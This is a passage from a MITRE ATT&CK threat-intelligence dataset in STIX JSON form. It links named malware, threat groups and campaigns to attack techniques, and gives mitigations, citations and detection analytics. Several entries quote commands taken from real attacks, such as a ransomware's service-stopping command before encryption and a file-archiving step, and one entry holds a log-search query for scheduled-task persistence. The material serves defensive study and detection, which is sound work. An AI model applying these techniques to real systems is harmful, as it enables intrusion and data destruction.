","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27f8b192-9e86-49dc-abca-5bda3f8f7e89","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Darkmoon Aug 2005","description":"Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"}],"modified":"2020-03-16T16:57:13.446Z","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) hides any strings related to its own indicators of compromise.(Citation: Symantec Darkmoon Aug 2005)","relationship_type":"uses","source_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27fb153f-0d50-4d95-b0e2-05bb520e33a7","type":"relationship","created":"2021-01-05T15:10:47.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Pay2Key November 2020","url":"https://research.checkpoint.com/2020/ransomware-alert-pay2key/","description":"Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}],"modified":"2021-01-05T15:10:47.205Z","description":"[Pay2Key](https://attack.mitre.org/software/S0556) has used RSA encrypted communications with C2.(Citation: Check Point Pay2Key November 2020)","relationship_type":"uses","source_ref":"malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27fcfb28-a452-42fe-b33e-0bb76550e883","type":"relationship","created":"2020-01-10T03:43:37.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-10T03:43:37.373Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27fd8291-3fba-49e9-a2e0-d3a76a584471","type":"relationship","created":"2021-08-03T14:06:06.937Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-10-16T01:24:29.262Z","description":"[EnvyScout](https://attack.mitre.org/software/S0634) can call window.location.pathname to ensure that embedded files are being executed from the C: drive, and will terminate if they are not.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27fde8e9-ab78-43aa-9642-14ac0cd958ff","created":"2019-10-11T17:09:28.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-04T21:11:42.716Z","description":"Limit user account and IAM policies to the least privileges required.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--27fe3870-1ce3-4f62-be7c-6da08d09643c","created":"2022-10-10T19:34:42.629Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T19:34:42.629Z","description":"[ccf32](https://attack.mitre.org/software/S1043) has used `xcopy \\\\\\c$\\users\\public\\path.7z c:\\users\\public\\bin\\.7z /H /Y` to archive collected files.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--a394448a-4576-41b8-81cc-9b61abad94ab","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--28038d61-fe2d-443c-a573-2ec1dc1123e2","created":"2023-01-23T19:45:06.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-23T19:45:53.368Z","description":"[Prestige](https://attack.mitre.org/software/S1058) has attempted to stop the MSSQL Windows service to ensure successful encryption using `C:\\Windows\\System32\\net.exe stop MSSQLSERVER`.(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"malware--1da748a5-875d-4212-9222-b4c23ab861be","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28084f31-80be-472b-bd15-6945b2905a93","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.048Z","description":"[Gold Dragon](https://attack.mitre.org/software/S0249) deletes one of its files, 2.hwp, from the endpoint after establishing persistence.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--280a43f3-5b70-405d-9848-4d5c1aa8e90d","created":"2023-03-20T18:42:34.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T14:05:32.262Z","description":"Monitor executed scripts for indicators of obfuscation and potentially suspicious command syntax, such as uninterpreted escape characters (e.g., `^`).\n\nAlso monitor commands within scripts for syntax-specific signs of obfuscation, such as encoded or otherwise unreadable blobs of characters.","relationship_type":"detects","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--280bb6ec-0d7f-4a42-a3f2-7a3b43886126","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"Alperovitch 2014","url":"https://web.archive.org/web/20200424075623/https:/www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/","description":"Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Deep Panda](https://attack.mitre.org/groups/G0009) has used ping to identify other machines of interest.(Citation: Alperovitch 2014)","modified":"2022-07-20T20:10:29.595Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28139c5b-be96-44d2-8e54-425311d108d6","type":"relationship","created":"2017-05-31T21:33:27.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"}],"modified":"2021-11-02T21:07:07.422Z","description":"A [Patchwork](https://attack.mitre.org/groups/G0040) payload uses process hollowing to hide the UAC bypass vulnerability exploitation inside svchost.exe.(Citation: Cymmetria Patchwork)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2815c919-1fcb-4ddc-bb04-56dff63854e7","created":"2022-09-06T13:46:10.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Medium Ali Salem Bumblebee April 2022","description":"Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022.","url":"https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-06T13:49:15.719Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) has the ability to search for designated file paths and Registry keys that indicate a virtualized environment from multiple products.(Citation: Medium Ali Salem Bumblebee April 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2816f512-1a04-4cf8-94e9-36720b949c76","type":"relationship","created":"2017-05-31T21:33:27.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"}],"modified":"2021-11-02T21:07:07.628Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) attempted to use RDP to move laterally.(Citation: Cymmetria Patchwork)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28189361-4cd2-4925-a095-d7ebd07ebd57","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Netstat","description":"Microsoft. (n.d.). Netstat. Retrieved April 17, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490947.aspx"}],"modified":"2018-10-17T00:14:20.652Z","description":"[netstat](https://attack.mitre.org/software/S0104) can be used to enumerate local network connections, including active TCP connections and other network statistics.(Citation: TechNet Netstat)","relationship_type":"uses","source_ref":"tool--4664b683-f578-434f-919b-1c1aad2a1111","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--281eabd3-1965-4b62-8862-1edb15d49701","type":"relationship","created":"2019-06-06T23:45:59.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Caragay, R. (2014, December 11). Info-Stealing File Infector Hits US, UK. Retrieved June 5, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/info-stealing-file-infector-hits-us-uk/","source_name":"TrendMicro Ursnif File Dec 2014"}],"modified":"2020-03-16T18:33:43.772Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used a 30 minute delay after execution to evade sandbox monitoring tools.(Citation: TrendMicro Ursnif File Dec 2014)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28291398-1281-404e-9603-8aae5a5a9919","type":"relationship","created":"2021-01-25T13:58:25.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-03-12T21:10:53.137Z","description":"One of [Dtrack](https://attack.mitre.org/software/S0567) can replace the normal flow of a program execution with malicious code.(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--282ef918-f550-4fb1-8ee9-949b640ef461","created":"2023-08-11T21:26:33.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T13:03:14.733Z","description":"Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. In order to gain persistence, privilege escalation, or remote execution, an adversary may use the Windows Task Scheduler to schedule a command to be run at a specified time, date, and even host. Task Scheduler stores tasks as files in two locations - C:\\Windows\\Tasks (legacy) or C:\\Windows\\System32\\Tasks. Accordingly, this analytic looks for the creation of task files in these two locations.\n\nAnalytic 1 - Look for new task files in %systemroot%\\System32\\Tasks.\n\n((source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"11\") OR (sourcetype=WinEventLog:Security EventCode=4663)) (TargetFilename= \"C:\\\\Windows\\\\System32\\\\Tasks\\\\*\" OR TargetFilename \"C:\\\\Windows\\\\Tasks\\\\*\") AND\n Image!= \"C:\\\\WINDOWS\\\\system32\\\\svchost.exe\"\n","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--283ba525-5180-461a-989b-87fc2f896ed7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT KEYMARBLE Aug 2018","description":"US-CERT. (2018, August 09). MAR-10135536-17 – North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}],"modified":"2020-03-20T02:14:26.689Z","description":"[KEYMARBLE](https://attack.mitre.org/software/S0271) can execute shell commands using cmd.exe.(Citation: US-CERT KEYMARBLE Aug 2018)","relationship_type":"uses","source_ref":"malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--283ba7b1-cd3b-44e9-bfae-70023c53d446","type":"relationship","created":"2020-05-20T18:56:59.024Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Pirate Panda April 2020","url":"https://www.anomali.com/blog/anomali-suspects-that-china-backed-apt-pirate-panda-may-be-seeking-access-to-vietnam-government-data-center#When:15:00:00Z","description":"Moore, S. et al. (2020, April 30). Anomali Suspects that China-Backed APT Pirate Panda May Be Seeking Access to Vietnam Government Data Center. Retrieved May 19, 2020."}],"modified":"2020-05-20T18:56:59.024Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has lured victims into executing malware via malicious e-mail attachments.(Citation: Anomali Pirate Panda April 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--283bdd5f-f356-43a2-864c-6f8211073d45","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Sowbug Nov 2017","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"}],"modified":"2020-03-18T16:01:37.932Z","description":"[Starloader](https://attack.mitre.org/software/S0188) decrypts and executes shellcode from a file called Stars.jps.(Citation: Symantec Sowbug Nov 2017)","relationship_type":"uses","source_ref":"malware--96566860-9f11-4b6f-964d-1c924e4f24a4","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--283d89ff-a836-4c3e-a850-cfd055c32c03","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor for newly executed processes, such as setx.exe, that may abuse of the COR_PROFILER variable, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020)","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary COR_PROFILER May 2020","description":"Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020.","url":"https://redcanary.com/blog/cor_profiler-for-persistence/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--283e242a-72d4-4b40-8905-888595c34919","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"source_name":"PaloAlto Patchwork Mar 2018","description":"Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"}],"modified":"2020-03-16T15:59:20.212Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) typically loads its DLL file into a legitimate signed Java or VMware executable.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2840f96e-2bf5-412c-8aba-11ee0838b3bc","created":"2024-03-13T21:22:16.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T21:22:28.432Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) has been installed via MSI installer.(Citation: SCILabs Malteiro 2021)(Citation: ESET Security Mispadu Facebook Ads 2019)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--28427b29-2088-44f7-8acd-5df104dcb8ee","created":"2022-09-19T18:28:28.638Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-19T18:28:28.638Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors deployed malware that used API calls, including `CreateProcessAsUser`.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2843712c-cf5a-45f0-9e08-444665e0d479","type":"relationship","created":"2020-11-13T18:52:29.026Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). Grandoreiro Malware Now Targeting Banks in Spain. Retrieved November 12, 2020."}],"modified":"2020-11-13T19:31:02.678Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can use SSL in C2 communication.(Citation: IBM Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2843ccc2-4869-48a0-8967-b9856a778a2c","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ATT Felismus","description":"Julia Kisielius. (2017, April 25). The Felismus RAT: Powerful Threat, Mysterious Purpose. Retrieved January 10, 2024.","url":"https://cybersecurity.att.com/blogs/security-essentials/the-felismus-rat-powerful-threat-mysterious-purpose"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:58:00.987Z","description":"[Felismus](https://attack.mitre.org/software/S0171) has masqueraded as legitimate Adobe Content Management System files.(Citation: ATT Felismus)","relationship_type":"uses","source_ref":"malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2844948c-9ca4-4d5d-9796-2104f51e6962","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Monitor executed commands and arguments to modify the authorized_keys or /etc/ssh/sshd_config 